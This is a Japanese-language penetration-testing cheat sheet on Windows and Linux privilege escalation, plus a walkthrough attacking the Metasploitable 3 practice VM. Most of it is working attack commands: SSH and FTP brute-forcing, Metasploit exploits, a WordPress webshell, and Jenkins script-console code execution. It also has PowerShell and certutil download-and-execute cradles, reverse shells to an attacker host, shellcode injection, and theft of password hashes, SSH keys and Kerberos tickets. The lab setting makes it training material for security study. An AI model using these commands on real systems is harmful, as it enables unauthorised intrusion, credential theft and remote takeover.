    upload /var/www/html/exploit/windows/reverse-4445.exe
    で、meterpreterを使いたいならUploadして実行する。
  • Powershellが使えない場合
    tftpなどを使うことになる。
    以下から紹介するツールのPSスクリプトが実行できないので、足りない場所は手動で補う。
    system
  • powerless.bat
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)-------
----- Architecture -------


echo %PROCESSOR_ARCHITECTURE%
OSの名前やバージョンやx86かx64か。
powerless.batJAWS, systeminfo,Seatbelt.exeで調べる
XP SP1ならupnphostのBINARY_PATHを書き換えられる脆弱性がある可能性
Windows Vista / 7/8ならIKEEXTなどの存在しないDLLを読み込もうとする脆弱性の可能性

Users

powerless.bat

------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) -------

USER INFORMATION
----------------

GROUP INFORMATION
-----------------

--- All users, accounts and groups ---

------- Administrators --------

jaws

-----------------------------------------------------------
 Users
-----------------------------------------------------------

Seatbelt.exe,JAWSなどで調べる
net user,net localgroup,net localgroup "Remote Desktop Users"
自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認

Network

powerless.bat

------- Network shares -------

------- Firewall ------

------ Network information ------

------- Current connections and listening ports -------
Privilege

powerless.bat

PRIVILEGES INFORMATION
----------------------

powerless.bat,SharpUp.ps1,Seatbelt.exeなどで注目すべき権限を持っているかどうか確認
SeImpersonatePrivilegeを持っていてx64の場合、Juicy Potatoが有効

環境変数のチェック

powerless.bat

------- Environment Variables -------

Seatbelt.exeなどで確認
PATHに書き込みができる場合は、DLLHijackやフルパスでないコマンドの実行などいろいろ悪用できるためチェックしておく
Find-PathDLLHijackを使っても確認できる

Process

jaws

-----------------------------------------------------------
 Processes
-----------------------------------------------------------

JAWS,Seatbelt.exeで確認
手動では

tasklist /v /fi "username eq system"
tasklist /v
Services

powerless.bat

------- Services Currently Running (check for Windows Defender or Anti-virus) ---------

JAWS,Seatbelt.exeで確認

手動では、

tasklist /SVC
wmic service list brief
net start
Sceduled Tasks

powerless.bat

------- Scheduled Tasks Names Only -------

jaws

-----------------------------------------------------------
 Scheduled Tasks
-----------------------------------------------------------

JAWSで確認
SYSTEMで実行されて、上書き可能なものを探す。

手動では、

schtasks /query /fo LIST /v
writiable
file/Directory

powerless.bat

--- Program Files and User Directories where everybody (or users) have full or modify permissions --- 

jaws

-----------------------------------------------------------
 Files with Full Control and Modify Access
-----------------------------------------------------------

-----------------------------------------------------------
 Folders with Full Control and Modify Access
-----------------------------------------------------------

-----------------------------------------------------------
 Potentially Interesting Files in Users Directory 
-----------------------------------------------------------

beRoot,powerless.bat,PowerUp.ps1のInvoke-AllChecks,SharpUp.exe
SharpUp.exePATH変数に含まれるディレクトリに書き込めるかも確認
できるならDLLHijackの可能性が残る

Service

powerless.bat

--------------- AccessChk (checks permissions for Authenticated Users, Everyone, and Users)------------------
--- Accesschk World writeable folders and files ----
 --- Accesschk services with weak permissions --- 
 --- Accesschk services that we can change registry values for (such as ImagePath) --- 

PowerUp

[*] Checking service executable and argument permissions...


[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable DLL locations...

[*] Checking for modifidable registry autoruns and configs...

[*] Checking for modifiable schtask files/configs...

windows-priv-check

------------------------------------------------------------------
Title: DLLs Used by Running Processes Can Be Modified On Disk

------------------------------------------------------------------
Title: Windows Service Executable Is Missing
  • SharpUp.exe

  • accesschk.exe -ucqv wampapache

  • **Process**,**Services**で、SYSTEMなどの昇格できるユーザーで動作しているサービスに対しては価値があるので書き込みができるかどうか確認
    それ以外の低権限のサービスは見ない
    `RW`が**NT AUTHORITY\Authenticated Users**などに与えられているか確認
  • Get-Acl -Path HKLM:\System\CurrentControlSet\Services\regsvc

  • また、レジストリキーが書き込み可能なら、`ImagePath`などを書き換えることができる
unquoted file path

powerless.bat

---Unquoted Service Paths (requires that the directory from which this script is run is user writeable. If it is not, you can use the WMIC command below) ---
  • JAWS

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

  • 引用符で囲まれていないかつ、PATHに空白を含む場合、PATHの途中にバイナリを設置してそれを実行させられる
AlwaysInstallElevated

powerless.bat

--- AlwaysInstallElevated Check --- 

SharpUp.exe1かどうか確認

Get System

beRoot,Get-System -Technique NamedPipeで確認

Credential
  • stored credentials
  • powerless.bat
    -- Stored Passwords --
    -- Checking for any accessible SAM or SYSTEM files --
    --- Searching Registry for Passwords ---
    
    • cmdkey /list
  • Autologon
  • `PowerUp.ps1のInvoke-AllChecks`,`JAWS`,`Seatbelt.exe`
  • config files
  • powerless.bat
    ---Search for Configuration and sensitive files---
    -- Broad search for config files --
    --- Broad search for any possible config files which may contain passwords ---
    
    手動では、
    dir /s /b /a C:\ | findstr /i 'pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml'
    dir /s /b /a C:\ | findstr /i "pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml
    
  • Install Files
  • powerup
    [*] Checking for unattended install files...
    
    • SharpUp.exeで確認
    • type C:\Windows\system32\sysprep.inf
    • type C:\Windows\system32\sysprep\sysprep.xml
    • where C:\sysprep.inf
    • where C:\sysprep\sysprep.xml
    • where %WINDIR%\Panther\Unattended.xml
    • where %WINDIR%\Panther\Unattend\Unattended.xml
  • セッション情報

  • `Seatbelt.exe`,`Session Gopher`
  • Installed Software

    • Web root
      • C:\wamp\www\PHP>type config.php
    • Others
    `jaws`の
    -----------------------------------------------------------
     System Files with Passwords
    -----------------------------------------------------------
    
    `PowerUp`の
    [*] Checking for encrypted web.config strings...
    
    [*] Checking for encrypted application pool and virtual directory passwords...
    
    [*] Checking for plaintext passwords in McAfee SiteList.xml files....
    
    [*] Checking for cached Group Policy Preferences .xml files....
    
    • Sealbelt.exeで確認
    • type wampmanager.ini | find /I "password"
    • where Services.xml
    • where ScheduledTasks.xml
    • where Printers.xml
    • where Drivers.xml
    • where DataSources.xml
    • C:\Devtoolsのような開発者のコメントが見込める場所
    • `.ini`,`.config`,`.xml`,`.txt`などのファイルを見る
      効果的な見方(目星の付け方など)はよくわからない
      ざっと見て特になかったら後回しにしてもよさそう
    • C:\Windows\System32>dir /s *pass* == *cred* == *vnc* == *.config*
    • C:\Windows\System32>findstr /si password *.xml *.ini *.txt
    • C:\Windows\System32>reg query HKLM /f password /t REG_SZ /s
    • これらは後回しにして後でじっくり見た方がよさそう
Kernel Exploit
  • python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
    この中からPEできそうなExploitを選ぶ
    Patch未適応なものをEnumしてるだけなので、PEとは無関係なExploitもあるため見極める(todo)
  • searchsploit windows microsoft privilege escalation | grep -vi 'dos' | grep local | grep -vi 'x86-64' | grep '\ 7\ '
    実行する際に以下を参考にする
    github.com
  • use post/multi/recon/local_exploit_suggester
    metasploitを使えばExploitの実行にほぼ時間はかからないので、ちゃっちゃとやるのもありといえばあり(?)
  • Google
    ググるのも大事
    以下にいろんなコンパイル済みのバイナリがある。
    ありがてえ……!!!
    github.com
Drivers
  • DRIVERQUERY
    量が多すぎるので後回し
    Programs

    powerless.bat

-------- Exploring program directories and C:\ ---------
--- Program Files ---
--- Program Files (x86) ---
--- Root of C:\ ----

jaws

-----------------------------------------------------------
 Installed Programs
-----------------------------------------------------------

windows-priv-checks

------------------------------------------------------------------
Title: Vulnerable Software Version Installed

powerless.bat,JAWSで確認
TODO

その他

怪しいファイルに読み込み権限しかない場合、コピーしてradare2などで解析して、フルパスではなく呼び出されているようなコマンドなどを調べる。
その場合、PATH変数のディレクトリに書き込むことで任意の実行ファイルを実行させる

これらを見ても見つからない場合、以下を参照していく

github.com

post exploit

  • Pass the Hash
    • fgdump.exe
    • wce
    • use post/windows/gather/hashdump
      todo

Linuxの場合

privilege escalation

Information Gathering(Enum)

  • 情報収集

    • LinEnum.sh
    • linuxprivchecker.py
    • suid3num.py
    • linpeas.sh
    • lse.sh
    • uptux.py

      これらのツールを使ってまずは以下をざっくりと調べる
      深追いはしない。怪しければTodoに優先度順に追加していく
    • system
      linpeas.sh
      Kernel versionなど
      3.3.0などの低い状態であればKernel Exploitが期待できる
    • Users
      linpeas.sh
      userからデフォルトではないユーザー名、その権限で動くSoftwareがわかる
      /etc/passwd,/etc/profileなどのユーザー名やクレデンシャルをWordlistに追加する
    • cron
      linpeas.sh
    • network
      linpeas.sh,linEnum.sh
      iptables -LなどでFirewallによって外部からは見えないようなサービスが動いていないか確認(mysqlなど)
    • process
      linpeas.sh,LinEnum.sh
      怪しい場所(/opt/など)で動作しているプロセスがないか確認
    • SUID/SGID
      linpeas.sh,suid3num.py
      Defaultでビットが立っていない実行ファイルなどを確認
    • Software
      linpeas.shで入っているサービスを確認できる
    • sudo/mysql version
      これらのバージョンを確認
    • config files
      LinEnum.sh
      設定ファイル(sshd_confなど)を確認する
      find -iname '*config*'
      などで/var/www/htmlやその他のSoftwareの設定ファイルを探す
      クレデンシャルが書いてあることもある
      • cat /etc/ssh/sshd_config
        • PasswordAuthentication
        • PermitRootLogin
        • RSAAuthentication
        • PubKeyAuthentication
        • AuthorizedKeysFile
          等を確認してパスワードBruteForceができるのか確認。
          秘密鍵がないかどうか確認
    • writable files/directories
      linpeas.sh
      rootが所有者でその他が書き込める実行ファイルがないかどうか確認
    • credential/password
      linpeas.sh
      find . | xargs grep "password"
      などで探す
      Web rootやその他のSoftwareがある場所で行う

      • find -iname '*config*'
      • cat /etc/passwd
      • grep -vE "nologin|false" /etc/passwd
      • mysql -h 127.0.0.1 -u root -p
        databaseから得られたハッシュをjohnなどでクラック
        cewlで得られたWordlistでもクラックする
    • /opt, /var, /home/user, /usr/src, /usr/local/src, /mediaを確認
      これらの場所でSoftwareが動いていないかなど確認

    • sudo -l / su
      自分がsudoできるのかどうかは絶対に確認
      得られたクレデンシャルでsuでほかのユーザーに昇格できるか試す
      他のユーザーならsudoできる可能性は高い
  • Enum Kernel Exploit

    • kernelpop
    • linux-exploit-suggester.sh
    • Linux_Exploit_Suggester.pl
    • linux-exploit-suggester-2.pl
    • BeRoot
    • auto_priv_exploit.sh
      これはKernelバージョンと調べて、Kaliで動かす
      github.com

    • searchsploit
      • searchsploit kernel local privilege escalation linux | grep -vi 'x86-64' | grep -i '\ 3.' | grep -vi '<\ 3.1'
    • Google
      これらの中から最も動きそうなものを2~3個までなら試す。
      深追いしない
      対象上でコンパイルする方がよい。
      実行する時、Shellはできるだけ良いものがよい

Exploit

  • 得られたクレデンシャルで別のユーザーとしてログイン試行

    • hydra -l root -P wordlist.txt -t 4 192.168.56.16 ssh
  • コマンドの悪用

    • sudo -l
      gtfobins.github.io
      SUID, SGIDが立っている怪しい実行ファイルはExploitを確認
  • Exploit Software

    • Linpeas.sh
      [Services]にあるサービスのバージョンを確認する
    • ps -aux
      • /var/
      • /opt/
      • /usr/src/
      • /usr/local/src
      • /home/user/
      • /media/ など変な場所にInstallされているソフトは怪しい
    • cat /etc/passwd
      UIDが1000以上のユーザーが登録されている場合、そのユーザーで動作するソフトがInstallされているかもで怪しい
    • netstat -antup
      Firewallによって外部からは見えないようなソフトが動いていないかどうか確認
    • dpkg -l
    • rpm -qa
  • Exploit Kernel
    上記のツールで得られたExploitを試す
    searchsploitも試す

    post exploit

  • ifconfig
    IPやNICをほかにもっていないかを見て、他のNetworkにつながっていないかどうか確認
  • /.ssh/id_rsa
    秘密鍵があればコピーしておく
    別のマシンにこの秘密鍵を使って公開鍵認証でSSHログインできるかも
  • cat /etc/shadow
    /etc/passwd/etc/shadowはコピーしてクラックしておく
    同じPasswordが別のマシンで使われているかも
  • /tmp/krb5*
    Kerberosチケットの取得。
  • /home/*/.gnupg/secring.gpgs
    PGP Keyの取得。

最後に

参考になれば幸いです。
この記事はどんどんアップデートして付け足していくので、時間がたったら内容がだいぶ変わってると思います。
なんかアドバイスとかあればぜひ!

Metasploitable 3:攻略ノススメ

ポートスキャン

  • nmap -p- -sV -sT -A 192.168.56.35
    f:id:kakyouim:20200216163731p:plain
    f:id:kakyouim:20200216163744p:plain
    f:id:kakyouim:20200216163757p:plain
  • python3 autorecon.py 192.168.56.35
  • cat notes.txt
[*] ftp found on tcp/21.
[*] ssh found on tcp/22.
[*] http found on tcp/80.
[*] ssl/appserv-http found on tcp/4848.
[*] http found on tcp/8022.
[*] http found on tcp/8080.
[*] ssl/http found on tcp/8383.
[*] wap-wsp found on tcp/9200.
[*] msrpc found on tcp/49153.
[*] msrpc found on tcp/49154.
[*] java-rmi found on tcp/49160.
[*] tcpwrapped found on tcp/49161.
[*] snmp found on udp/161.
[*] java-rmi found on tcp/1617.
[*] http found on tcp/5985.
[*] http found on tcp/8020.
[*] unknown found on tcp/8027.
[*] http found on tcp/8282.
[*] http found on tcp/8484.
[*] http found on tcp/8585.

Webサービスの調査

80ポートの調査

  • nikto -h 192.168.56.35:80
    とくになし
    f:id:kakyouim:20200216163901p:plain

    5985ポートの調査

  • nikto -h 192.168.56.35:5985
    f:id:kakyouim:20200216164028p:plain

8020ポートの調査

  • nikto -h 192.168.56.35:8020
    f:id:kakyouim:20200216164109p:plain
    f:id:kakyouim:20200216164124p:plain
  • wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8020/FUZZ
    f:id:kakyouim:20200216164223p:plain

8020ポートの調査

  • nikto -h 192.168.56.35:8022
    f:id:kakyouim:20200216164322p:plain
    f:id:kakyouim:20200216164340p:plain
    f:id:kakyouim:20200216164355p:plain

8080ポートの調査

  • nikto -h 192.168.56.35:8080
    f:id:kakyouim:20200216164434p:plain
    f:id:kakyouim:20200216164446p:plain
    f:id:kakyouim:20200216164500p:plain
  • wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8080/FUZZ
    f:id:kakyouim:20200216164522p:plain

8282ポートの調査

  • nikto -h 192.168.56.35:8282
    f:id:kakyouim:20200216164556p:plain
    f:id:kakyouim:20200216164608p:plain
    f:id:kakyouim:20200216164622p:plain

8383ポートの調査

  • nikto -h 192.168.56.35:8383
    f:id:kakyouim:20200216164659p:plain

8484ポートの調査

  • nikto -h 192.168.56.35:8484
    f:id:kakyouim:20200216164739p:plain
    f:id:kakyouim:20200216164750p:plain
    f:id:kakyouim:20200216164801p:plain

8585ポートの調査

  • nikto -h 192.168.56.35:8585
    f:id:kakyouim:20200216164832p:plain
    f:id:kakyouim:20200216164845p:plain
    f:id:kakyouim:20200216164902p:plain

ftpの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ftp
    f:id:kakyouim:20200216165145p:plain
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
      でも試してみたがダメだった。
      Loginしてみる
      f:id:kakyouim:20200216165533p:plain
      クレデンシャル情報っぽいものは特に見つからなかった

sshの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ssh
    f:id:kakyouim:20200216165109p:plain
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
      でも試してみたがダメだった。
      Loginしてみる
      f:id:kakyouim:20200216165333p:plain
      catなどができない。
      cmdでWindowsコマンドプロンプト起動!
      powershellは起動させるとバグって操作できなくなる
      f:id:kakyouim:20200216165433p:plain
  • type passwd
    f:id:kakyouim:20200216165449p:plain

snmp(161)の調査

  • cat udp_161_snmp_snmpwalk_user_accounts.txt
    AutoReconの出力結果を見ると、ユーザー一覧が列挙されている
    f:id:kakyouim:20200216170045p:plain
sshd
Guest
greedo
vagrant
han_solo
kylo_ren
boba_fett
chewbacca
ben_kenobi
jabba_hutt
artoo_detoo
c_three_pio
darth_vader
leia_organa
sshd_server
jarjar_binks
Administrator
luke_skywalker
anakin_skywalker
lando_calrissian

user.txtとして保存し、Login Bruteforceに使う
(ssh,ftpでも試したが、有効なのはvagrantだけだった)

smb(445)の調査

  • EternalBlue

    EternalBlue は、「Windows SMB1.0(SMBv1)」サーバが特定のリクエストを処理する際のセキュリティ上の欠陥です。より具体的には、WindowsSMBv1 のコード内のカーネル関数「srv!SrvOs2FeaListToNt」による「File ExtendedAttribute(拡張ファイル属性、FEA)」処理時に「Large Non-PagedPool(ラージ非ページプール)領域」のバッファオーバーフローを発生させる脆弱性です。

use exploit/windows/smb/ms17_010_eternalblue
ほかの人のWriteupでは動いてらしいがなんか成功しない……
f:id:kakyouim:20200216182106p:plain
f:id:kakyouim:20200216182147p:plain

Java RMI(1617)の調査

Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい

Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
"jmx" AND ("javax.management.remote.rmi.RMIServerImpl_Stub" OR "java.rmi.server.RemoteStub" OR "java.rmi.server.RemoteObject") AND "exploit"
などでNmapの結果をGoogleで調べるとMetasploitでExploitが見つかったので試す
use multi/misc/java_jmx_server
f:id:kakyouim:20200216170612p:plain

Windows Remote Management (WinRM)(5985)の調査

5985ポートMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)Windows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
f:id:kakyouim:20200216170857p:plain
ログインできないと、Remote Code Executionはできないらしい。
ブルートフォースしてみたがダメ…
Mimikatzを使用してクレデンシャル情報を取得する方法もあるらしいが今回は得られなかった(後述)
参考文献
pentestlab.blog

Elasticsearch(9200)の調査

Elasticsearch は Elastic 社が開発しているオープンソース全文検索エンジンです。 大量のドキュメントから目的の単語を含むドキュメントを高速に抽出することができます。

nmapの結果から、バージョンは1.1.1であるとわかる
f:id:kakyouim:20200216181655p:plain
- use auxiliary/scanner/elasticsearch/indices_enum
f:id:kakyouim:20200216181720p:plain
- ElasticSearch Dynamic Script Arbitrary Java Execution
Googleで調べると、このバージョンは上記の脆弱性があるらしい
CVE-2014-3120
use exploit/multi/elasticsearch/script_mvel_rce
f:id:kakyouim:20200216181844p:plain

Webサービスの攻撃

8020 8022 8383ポート(ManageEngine)への攻撃

  • curl -v -X PUT -d "Test" http://192.168.56.35:8020/test.txt
    niktoではPUTが可能と書いてあるので上記を試したがエラー
    書き込み権限がないらしい(当然っちゃ当然か?)
    f:id:kakyouim:20200216171450p:plain
    uploaddoc, apiなどには権限がなくアクセスできなかった。
    デフォルトのクレデンシャル情報でLoginを試す!
    User=admin, pass=adminでログイン成功!
    version情報から有効なExploitを探す
    f:id:kakyouim:20200216171626p:plain
  • ManageEngine Desktop Central StatusUpdate - Arbitrary File Upload (Metasploit)
    が有効っぽい?

    This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions).

となっているのでBuild番号自体はExploit可能ではないが……
www.exploit-db.com にMetasploitのExploitがあるが、Metasploit以外のExploitを探すと以下がヒット
manage-engine-exploit.py · GitHub
のExploitを実行してみると成功!
- python2 manageengine_exploit.py 192.168.56.35 8022 192.168.56.5 5555
f:id:kakyouim:20200216172606p:plain
f:id:kakyouim:20200216172623p:plain

Metasploitを使うと以下のようになる
- use exploit/windows/http/manageengine_connectionid_write
f:id:kakyouim:20200216185922p:plain

8282(tomcat)の攻撃

www.cybersecurity-help.cz

PUTが許可されているのでこの脆弱性がありそうな気がするが、JSPファイルの書き込みができず、脆弱ではないらしい。
- python2 /usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://192.168.56.35:8282/
f:id:kakyouim:20200216173409p:plain
どうやら403でアクセス権限(書き込み権限?)がない??
f:id:kakyouim:20200216173429p:plain
- use exploit/multi/http/tomcat_jsp_upload_bypass
でも403となって成功しなかった
f:id:kakyouim:20200216173459p:plain

8484(Jenkins)の攻撃

Javaで書かれたオープンソース継続的インテグレーションツール.
継続的インテグレーションとは、ソフトウェア開発において、ビルドやテストを頻繁に繰り返し行なうことにより問題を早期に発見し、開発の効率化・省力化や納期の短縮を図る手法。
特に、専用のツールを用いてこのプロセスを自動化あるいは半自動化し、効率的に実施する方式。
らしい
下の方にJenkinsのバージョンが見えている
f:id:kakyouim:20200216174130p:plain

Jenkinsには、Jenkinsマスターランタイム内またはエージェントのランタイム内で任意のGroovyスクリプトを実行できるGroovyスクリプトコンソールがあります。
JenkinsランタイムへのWebベースのGroovyシェルです。Groovyは非常に強力な言語であり、Javaでできることはほとんど何でも実行できます。
サブプロセスを作成し、Jenkinsマスターとエージェントで任意のコマンドを実行します。


ログインパスワードのないJenkinsを見つけた場合、またはスクリプトコンソールにアクセスする権限を持つ通常のユーザーである場合、この特権を悪用してマシンのリバースシェルを取得できる
今回は/scriptでScript Consoleにアクセスできたのでそこからリバースシェルを実行できそう
以下を参考にする
www.hackingarticles.in

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

を実行すると、以下のように結果が得られた
f:id:kakyouim:20200216174656p:plain
以下を埋め込むとリバースシェルを実行できる
gist.github.com
- use exploits/multi/http/jenkins_script_console
Metasploitにも存在
f:id:kakyouim:20200216175212p:plain
f:id:kakyouim:20200216175230p:plain

ちなみに、Googleで調べたExploitは不発
f:id:kakyouim:20200216175316p:plain
バージョンはピッタリなのになんでだろう?

8585(webdav,wordpress)の攻撃

Webdavの攻撃

  • davtest -url http://192.168.56.35:8585/uploads/
    f:id:kakyouim:20200216175542p:plain
    Webshellのアップロードが可能!

Wordpressの攻撃

  • wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u
    f:id:kakyouim:20200216175722p:plain
  • wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    f:id:kakyouim:20200216175751p:plain
    User=vagrant,password=vagrantでログイン
    f:id:kakyouim:20200216175809p:plain
    PluginのPHPコードを書き換える
    f:id:kakyouim:20200216175851p:plain
    なんかエラー出てるが、Webshellの設置成功!
    f:id:kakyouim:20200216175922p:plain
    /wordpress/wp-content/plugins/ninja-forms/ninja-forms.php?cmd=ls
    f:id:kakyouim:20200216180008p:plain

Reverse Shell

  • wordpressのWebshellからReverse shellを実行する
    www.hackingarticles.in
  • netcat
    • nc.exe -nlvp 4444 -e cmd.exe
      bind shellは成功せず
    • nc.exe 192.168.1.101 443 -e cmd.exe
      reverse shellも成功せず
  • Certutil.exe
    • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler
set lhost 192.168.56.5
set lport 4444
  • certutil.exe -urlcache -split -f http://192.168.56.5/share/shell.exe shell.exe & shell.exe
    f:id:kakyouim:20200216180837p:plain
    ダメだった。
    しかし、すでにSSHなどから得られているプロンプト上から実行するとうまく行った……
    f:id:kakyouim:20200216180955p:plain
    f:id:kakyouim:20200216181007p:plain
  • powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1');powercat -c 192.168.56.5 -p 4444 -e cmd"

で成功!!
f:id:kakyouim:20200216181130p:plain

Local Privilege Escalation

基本的に以下を参照する
github.com
https://www.puckiestyle.nl/windows-privilege-escalation/

ethicalhackingguru.com

Enum tools

windows-privesc-check2.exe

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/windows-privesc-check/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
  • windows-privesc-check2.exe --audit -a
    出力が多すぎない?

Sherlock

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Sherlock/Sherlock.ps1'))"

でダウンロードして実行
f:id:kakyouim:20200216184123p:plain
f:id:kakyouim:20200216184135p:plain
これらを試してみたが成功しなかった。

JAWS

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/JAWS/jaws-enum.ps1'))"

f:id:kakyouim:20200216184509p:plain
f:id:kakyouim:20200216184607p:plain
f:id:kakyouim:20200216184724p:plain
f:id:kakyouim:20200216184823p:plain
f:id:kakyouim:20200216184850p:plain
f:id:kakyouim:20200216184908p:plain
f:id:kakyouim:20200216184952p:plain
など

SessionGopher

PuTTYWinSCPFileZilla、SuperPuTTY、およびRDPの保存済みセッション情報を静かに掘り下げる

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/SessionGopher/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

f:id:kakyouim:20200216185103p:plain

Beroot

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/BeRoot/beRoot.exe\", \"C:\\Users\\Public\\Downloads\\beRoot.exe\");

f:id:kakyouim:20200216185150p:plain

WindowsEnum

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/WindowsEnum/WindowsEnum.ps1'));"

f:id:kakyouim:20200216185254p:plain
f:id:kakyouim:20200216185331p:plain

Powerless

certutil.exe -urlcache -split -f "http://192.168.56.5:8000/Powerless/Powerless.bat"
Powerless.bat
出力多い……
参考
github.com

PowerUp.ps1

  • Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
- `unquoted servicepaths`<br>
- `service executable`<br>
- `argument permissions`<br>

に注目するらしい

Manual

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
    ””で囲まれていないパスやスペースがあるようなプロセスがあると、そのプログラムの代わりに悪意のあるプログラムをその場所に設置して実行されられるらしい。
    以上で、””で囲まれていないようなプロセスを列挙している。
    [f:id:kakyouim:20200216205526p:plain]
  • tomcat-users.xml
    Tomcatはデフォルトではrootで起動しているのでtomcatのクレデンシャル情報の取得は権限昇格にも使えるかも
  • cd C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf
  • type tomcat-users.xml
    [f:id:kakyouim:20200216210745p:plain]

PowerSploit

Invoke-AllChecks

  • Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"

Install-ServiceBinary

  • Install-ServiceBinary -Name 'OpenSSHd'
    既存のバイナリをjohnというユーザーを追加した新しいバイナリに置き換える
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Install-ServiceBinary -Name 'OpenSSHd'"

以下のようなエラーが発生
f:id:kakyouim:20200216205726p:plain
net stop OpenSSHd
で一度これを停止させてからやると成功!
f:id:kakyouim:20200216205714p:plain
net start OpenSSHd
で再起動しようとするとエラー。
SSHが使えなくなった……
f:id:kakyouim:20200216205848p:plain
net user
でjohnが追加されていることが確認できる!
f:id:kakyouim:20200216205926p:plain
net user john
で確認
f:id:kakyouim:20200216210039p:plain

- use exploit/windows/smb/psexec
ほかの人のWriteupではこれでuser=john,password=Password123!でSYSTEM権限が得られていたが、なんかうまく行かない……
f:id:kakyouim:20200216210253p:plain
ちなみに、
Install-ServiceBinary -Name 'jenkins'
で同じく試すと別のerror。
f:id:kakyouim:20200216210159p:plain

参考
blog.rapid7.com

Invoke-Shellcode.ps1

  • Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force
    プロセスにshellcodeを注入して実行する
    SYSTEM権限で実行されているプロセスに注入することで権限昇格できるかも
    payloadは
    windows/meterpreter/reverse_http
    windows/meterpreter/reverse_https
    しかサポートしてないらしい
  • wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1
